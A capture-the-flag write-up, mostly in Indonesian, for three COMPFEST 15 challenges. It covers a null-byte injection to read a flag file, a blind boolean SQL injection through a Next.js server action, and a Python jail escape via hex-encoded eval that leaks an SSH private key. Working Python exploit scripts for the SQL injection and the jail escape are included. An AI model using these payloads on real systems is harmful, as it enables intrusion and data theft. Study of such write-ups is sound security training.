COMPFEST 15

Participated with team Jual SSD 256GB 200K

Name
Category
Vuln

COMPaste

Web Exploitation

Null Byte

index.php.ts

Web Exploitation

SQLI, NextJS Server Action

napi

Misc

Py Jail

COMPaste

Description

Author: rorre

Obligatory pastebin clone. But people said that Python is slow, so I made the I/O in C! Now it is blazingly fast!

Hint: flag flag.txt

Summary

Melakukan bypass extend extension .txt dengan menggunakan nullbyte yaitu %00 untuk membaca file flag dan bukan flag.txt

Solution

Challenge website ini memiliki fungsionalitas untuk membuat sebuah note, dimana note ini nanti akan disimpan dan memiliki ID yang unique

Ketika dilihat, ternyata id tersebut dikirimkan lewat query params id, dan disini sempat berasumsi challenge ini vulnerable terhadap LFI, namun ketika dicoba tidak works

Long story short akhirnya ada hint yang menampilkan sebagai berikut

Hint ini memberikan sebuah clue, sebenarnya note tersebut disimpan didalam file dengan extension .txt, namun ketika diread pada query params id, tidak perlu menambahkan extension .txt, yang artinya berarti dari sisi source code sudah otomatis di append extension .txt.

Dan dari hint terlihat sebenarnya ada file flag dan flag.txt, dan sesuai objective disini, sepertinya file flag.txt isinya adalah fake flag dan diharuskan untuk membaca file flag.

Karena pada deskripsi terdapat kata - kata "C I/O", sepertinya extend extension tersebut bisa dibypass dengan menggunakan nullbyte injection, yaitu dengan mengirimkan urlencoded %00, sehingga payload yang dikirim ke query params adalah sebagai berikut

flag%00

Flag

COMPFEST15{NULL_4nD_C_stR1k3S_again_90dea8e9}


index.php.ts

Attachment

Description

Author: rorre

I love Next.js 13! The server actions dan components is very cool! It looks just like back then when I was writing PHP!

Summary

Melakukan execute function server actions yang tidak memiliki handler, namun dapat diexec ketika bisa tahu dari Next-Action ID nya, yang dapat dileak melalui builded source codenya, lalu melakukan SQLI untuk mendapatkan flag dari vulnerable server actions tersebut yaitu dengan melakukan leak credentials atau ID dari flag_owner table.

Solution

Pada challenge ini menggunakan framework NextJS 13, yang dimana baru saja dikenalkan dengan fitur barunya yaitu server actions.

Pada bagian source code indexnya ada bagian kode berikut

...snip...
export default async function Home() {
  let uid = cookies().get("uid")?.value ?? "";
  const db = await getConnection();
  const rows = await db.all<Question>("SELECT * FROM questions WHERE uid = ?", [
    uid,
  ]);
const flagRow = await db.get("SELECT * FROM flag_owner WHERE uid = ?", [uid]);

  return (
    <main>
      <section className="flex min-h-screen flex-col items-center justify-center p-24 bg-black text-white gap-8">
        <h1 className="font-bold text-2xl">Ask me anything!</h1>
        {flagRow !== undefined && uid.length == 32 && (
          <div className="px-4 py-2 font-semibold bg-green-500">
            Congratulations! Here is your flag: {process.env.FLAG}
          </div>
        )}
        <AskBox />
      </section>
...snip...

Pada potongan kode diatas terdapat logic dimana flag disimpan dalam environment variable, dan untuk mendapatkannya value dari cookie uid harus available dalam table flag_owner.

Dan uid tersebut sebenarnya sifatnya adalah random, dan akan diset otomatis oleh middleware ketika uid tersebut belum diset ketika melakukan request, berikut kode middlewarenya

export function middleware(request: NextRequest) {
  const response = NextResponse.next();
  if (!request.cookies.has("uid")) {
    const uid = generateId(32);
    response.cookies.set("uid", uid);
    request.cookies.set("uid", uid);
  }
  return response;
}

Setelah mengetahui bagaimana flag bisa didapatkan lanjut untuk menelusuri fungsionalitas webnya, sebenarnya web ini ditujukan untuk QnA website.

Berikut ada 2 function utama yang digunakan untuk melakukan fungsionalitas QnA tersebut

export async function newQuestion(question: string) {
  const db = await getConnection();
  await db.run("INSERT INTO questions(id, uid, question) VALUES (?, ?, ?)", [
    generateId(64),
    cookies().get("uid")!.value,
    question,
  ]);
  revalidatePath("/");
}

export async function answerQuestion(answer: string, id: string) {
  if (hasBlacklist(id) || hasBlacklist(answer)) return;

  const db = await getConnection();
  await db.exec(
    `UPDATE questions SET
        answer="${escapeSql(answer)}"
        WHERE id="${id}"`
  );
  revalidatePath("/");
}

Yang menarik disitu adalah pada bagian function answerQuestion terdapat exec sql yang vulnerable terhadap sql injection, karena tidak menggunakan bind parameter, namun terlihat input answer akan dimasukkan ke dalam function escapeSql dan juga pada awal awal dicek pada function hasBlacklist dari input answer dan id, berikut functionnya

const BLACKLIST = ["UPDATE", "DROP", "DELETE", "CREATE", "ALTER", "DROP"];
function hasBlacklist(s: string) {
  for (const keyword of BLACKLIST) {
    if (s.toLowerCase().replaceAll(" ", "").indexOf(keyword) != -1) {
      return true;
    }
  }
  return false;
}
export function escapeSql(str: string) {
  return str.replace(/[\0\x08\x09\x1a\n\r"'\\\%]/g, function (char) {
    switch (char) {
      case "\0":
        return "\\0";
      case "\x08":
        return "\\b";
      case "\x09":
        return "\\t";
      case "\x1a":
        return "\\z";
      case "\n":
        return "\\n";
      case "\r":
        return "\\r";
      case '"':
      case "'":
      case "\\":
      case "%":
        return "\\" + char;
      default:
        return char;
    }
  });
}

Dari sini abaikan terlebih dahulu fungsionalitas tersebut, kita akan cari alur dari program tersebut hingga bisa melakukan call function answerQuestion tadi.

Ternyata answerQuestion tadi dicall pada component QuestionBox

"use client";

import { answerQuestion } from "@/app/actions";
import { Question } from "@/utils/db";
import React, { useRef } from "react";

export default function QuestionBox({
  question,
  isAdmin,
  className,
}: {
  question: Question;
  isAdmin: boolean;
  className?: string;
}) {
  const ref = useRef<HTMLFormElement>(null);
  return (
    <div
      className={`rounded-md p-4 flex flex-col gap-2 border border-black ${className}`}
    >
      <p>{question.question}</p>
      <hr className="border-t-2 border-black" />
      <p>{question.answer || "No answer yet"}</p>

      {isAdmin.toString().substring(0, 1) === "true" && (
        <form
          className="flex flex-row gap-4 w-full"
          ref={ref}
          action={async (formData) => {
            ref.current?.reset();
            await answerQuestion(
              formData.get("answer")?.toString() ?? "",
              question.id
            );
          }}
        >
          <input className="hidden" name="id" value={question.id} />
          <textarea
            className="p-2 w-full border border-black rounded-md"
            name="answer"
            required
            rows={1}
          />
          <button
            type="submit"
            className="px-4 py-2 border border-black font-semibold rounded-md"
          >
            Send
          </button>
        </form>
      )}
    </div>
  );
}

Namun, untuk menjalankan fungsionalitas form yang memanggil action answerQuestion maka props isAdmin harus bernilai true, namun jika dilihat pada render component tersebut defaultnya adalah false, bisa dilihat pada bagian berikut

...snip...
<section className="mx-auto container min-h-screen flex flex-col items-center py-8 px-4 gap-4 max-w-2xl">
    <h1 className="font-bold text-2xl mb-4">My Questions</h1>
    {rows.map((row) => (
      <QuestionBox
        key={row.id}
        question={row}
        className="w-full"
        isAdmin={false}
      />
    ))}
</section>
...snip...

Ini yang mulai membuat challenge ini menjadi menarik, bagaimana seharusnya melakukan call function yang vulnerable tadi.

Oke, faktanya disini adalah kedua function askQuestion dan answerQuestion tadi adalah sebuah server action, dan server action sebenarnya juga dicall melalui http request seperti API biasa, namun dengan mengirimkan beberapa header request lain untuk bisa memanggil function dari server action yang sesuai.

Dan berikut adalah contoh network call dari function askQuestion, dimana secara default bisa untuk digunakan karena tidak ada kondisi apapun dalam source code

Ada network value yang menarik yaitu Next-Action dengan valuenya adalah random hex number, nah disini sebenarnya bisa diketahui bahwa setiap action memiliki unique id nya masing - masing, artinya function answerQuestion tadi dapat dicall juga bisa menemukan unique id nya. Nah sebenarnya unique id ini digenerate melalui file obfuscateActions.js

Dan untuk payload nya bisa dilihat bahwa pengirimannya menggunakan array, dan ini sesuai karena function askQuestion tadi hanya menerima 1 argument saja pada functionnya.

Oke, selanjutnya adalah mencari unique id dari action answerQuestion, yaitu dengan melihat source nya pada websitenya menggunakan inspect element dengan mengecek hasil compile javascriptnya, dan didapatkan hasil sebagai berikut

Berhasil untuk mendapatkan unique id nya yaitu 78a67fd227478c9f84cda58629c8cfd5afd7c002.

Oke selanjutnya adalah melakukan schema callnya, karena function answerQuestion menerima 2 argument, maka pengiriman datanya adalah menggunakan 2 value dalam 1 array, ilustrasi request sebagai berikut

Custom Header
Next-Action: 78a67fd227478c9f84cda58629c8cfd5afd7c002

Cookie
uid: <uid yang akan digunakan>

Payload
[
 “Ini answer”,
 “Ini adalah id question”
]

Selanjutnya adalah bagaimana cara mencari question id, coba untuk membuat questionnya terlebih dahulu

Lalu, karena call datanya ada pada server side, seharusnya datanya sudah diembed ke dalam hasil compiled source nya, coba cek pada view raw source

Bisa dilihat terdapat id dari questionnya yaitu ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR, beserta dengan uid user yang berelasi dengan question tersebut yaitu 8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6.

Setelah ini, mencoba untuk melakukan call answerQuestion dengan schema sebelumnya, untuk memudahkan disini bisa menggunakan script python berikut

import requests

host = "http://34.101.122.7:10011"
action_token = "78a67fd227478c9f84cda58629c8cfd5afd7c002"  # unique id answerQuestion
uid = "8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6"  # cookie uid
question_id = "ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR"

cookies = {"uid": uid}
headers = {"Next-Action": action_token}
data = f"""[
    "ini adalah jawaban",
    "{question_id}"
]"""

requests.post(host, cookies=cookies, headers=headers, data=data)

Lalu jalankan kode tersebut, dan lihat apakah akan ada answer pada question yang sebelumnya sudah dibuat

So yeah it's works, selanjutnya adalah melakukan sqli untuk melaukan leak uid dari table flag_owner. Flashback kembali dari blacklist tadi, yang sebenarnya bisa dilakukan adalah dengan melakukan inject pada question id nya, karena jika diinject pada bagian answer itu terlalu strict sekali.

Dan disini result yang dihasilkan adalah blind sql injection dengan metode boolean based, jadi untuk melakukannya berikut ada script automation untuk bisa mendapatkan atau melakukan leak uid dari table flag_owner tadi

import requests
from random import randrange
from hashlib import md5
import string
import time

host = "http://34.101.122.7:10011/"
action_token = "78a67fd227478c9f84cda58629c8cfd5afd7c002"
uid = "8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6"
question_id = "ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR"

cookies = {"uid": uid}
headers = {"Next-Action": action_token}
possible = ",{}_" + string.printable[:-2]

def send_request(payload):
    result = ""
    i = 1
    while True:
        for idx, c in enumerate(possible):
            unique_answer = md5(str(randrange(10000000)).encode()).hexdigest()
            data = f"""[
                "{unique_answer}",
                "{question_id}\\" AND SUBSTR( ( {payload} ), {i}, 1 ) = '{c}'  -- "
            ]"""
            res = requests.post(host, cookies=cookies, headers=headers, data=data)
            res = requests.get(host, cookies=cookies)

            if unique_answer in res.text:
                result += c
                print(f"FOUND LETTER at {i}: {c}")
                print(f"CURRENT RESULT: {result}")
                time.sleep(1)
                break
            if idx == len(possible) - 1:
                print(f"FINAL RESULT IS: {result}")
                exit(0)
        i += 1

send_request("SELECT GROUP_CONCAT(uid) FROM flag_owner")

Dan berikut sedikit screenshot ketika script tersebut dijalankan

Langsung saja ambil 32 karakter pertama sebelum tanda , [koma], karena panjang defaultnya adalah 32 karakter, lalu kemudian ubah cookie nya dengan uid tersebut, dan coba akses kembali halaman websitenya untuk mendapatkan flagnya

Perjalanan yang cukup panjang, but so yeah, we did it.

Flag

COMPFEST15{N0t_so_SSR_Alw4yS_cH3ck_f0r_R0le}


napi

Description

Author: k3ng

john is currently planning on escape from jail. Fortunately, he got a snippet of the jail source code from his cellmate. Can you help john to escape?

Summary

Melakukan escape dari python jail untuk bisa mendapatkan sebuah file private ssh key, yang nantinya bisa digunakan untuk mengakses ssh dari machine tersebut.

Solution

Diawal diberikan sedikit dari snippet source code dari program yang ada diserver, yaitu sebagai berikut

# ...
def main():
    banned = ["eval", "exec", "import", "open", "system", "globals", "os", "password", "admin"]

    print("--- Prisoner Limited Access System ---")

    user = input("Enter your username: ")

    if user == "john":
        inp = input(f"{user} > ")

        while inp != "exit":
            for keyword in banned:
                if keyword in inp.lower():
                    print(f"Cannot execute unauthorized input {inp}")
                    print("I told you our system is hack-proof.")
                    exit()
            try:
                eval(inp)
            except Exception as e:
                print(e)
                print(f"Cannot execute {inp}")

            inp = input(f"{user} > ")

    elif user == "admin":
        print("LOGGING IN TO ADMIN FROM PRISONER SHELL IS NOT ALLOWED")
        print("SHUTTING DOWN...")
        exit()

    else:
        print("User not found.")
# ...

Ada beberapa usable function yang dibanned, namun jika dilhat hanya nama function saja, lalu untuk masuk kepemrosesan eval function value user yang dimasukkan haruslah john.

Dari sini sebenarnya bisa untuk melakukan escape dari banned tersebut, yaitu dengan melakukan call kembali eval dan memasukkan input untuk diexec, namun dapat dibypass terlebih dahulu dengan menggunakan hex string, contoh untuk melakukan recover function eval bisa dilakukan seperti berikut

__builtins__.__dict__['\x65\x76\x61\x6c']

Disini, sebenarnya ingin memanggilkan builtin module dengan __import__, namun tidak bisa, sehingga selanjutnya coba kita lihat global variablenya yaitu dengan call globals function, yaitu dengan mengirimkan payload seperti berikut

print(__builtins__.__dict__['\x65\x76\x61\x6c']('\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29'))

hasilnya seperti berikut

➜  napi nc 34.101.122.7 10008
--- Prisoner Limited Access System ---
Enter your username: john
john > print(__builtins__.__dict__['\x65\x76\x61\x6c']('\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29'))
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fe2d4c05310>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'chall.py', '__cached__': None, 'password': <_io.TextIOWrapper name='creds.txt' mode='r' encoding='UTF-8'>, 'main': <function main at 0x7fe2d4bae0e0>, 'admin': <function admin at 0x7fe2d4bae4d0>}
john >

Ternyata nama file yang dijalankan adalah chall.py, selanjutnya untuk memudahkan prosesnya disini agar tidak harus melakukan crafting hex string nya secara manual, berikut automation script yang bisa digunakan

from pwn import *

p = remote("34.101.122.7", 10008, level="error")


def craft_hex(code):
    result = []
    for c in code:
        result.append(hex(ord(c))[2:])
    return r"\x" + r"\x".join(result)


def read_file(filename):
    eval = f"__builtins__.__dict__['{craft_hex('eval')}']"
    payload = f"print({eval}('" + craft_hex(f"open('{filename}').read()") + "'))"

    return payload.encode()


def run_without_banned(code):
    eval = f"__builtins__.__dict__['{craft_hex('eval')}']"
    payload = f"print({eval}('" + craft_hex(code) + "'))"
    print(payload)
    return payload.encode()


p.sendlineafter(b"Enter your username:", b"john")

while True:
    mode = int(input("Mode (1/2): "))
    if mode == 1:
        code = input(">>> ").strip()
        p.sendlineafter(b">", run_without_banned(code))
    elif mode == 2:
        filename = input("f>>> ").strip()
        p.sendlineafter(b">", read_file(filename))
    else:
        print("Invalid mode")
        p.close()
        exit()

    data = p.recvuntil(b"john ").decode().replace("john", "").strip()
    print(data)
    print("\n")

Pertama leak isi dari chall.py, bisa didapatkan hal sebagai berikut yang sangat useable

Ternyata builtins method __import__ dihapus, sehingga tidak dapat melakukan import module dan mendapatkan shell.

Ada bagian menarik lagi pada file chall.py, yaitu sebagai berikut

hmm, disini ada file lagi notice.txt, kita akan coba read file tersebut untuk melihat isinya

Setelah didecode dari base64, hasilnya ada value dari RSA Private Key, asumsi disini ini adalah private ssh key yang dapat digunakan untuk masuk ke ssh, maka setelah itu coba untuk masukkan value tersebut kedalam file private.key, dan mencoba untuk masuk ke sshnya menggunakan username admin

Berhasil!!!

Flag

COMPFEST15{clo5e_y0ur_f1LE_0bj3ctS_plZzz___THXx_053fac8f23}

Last updated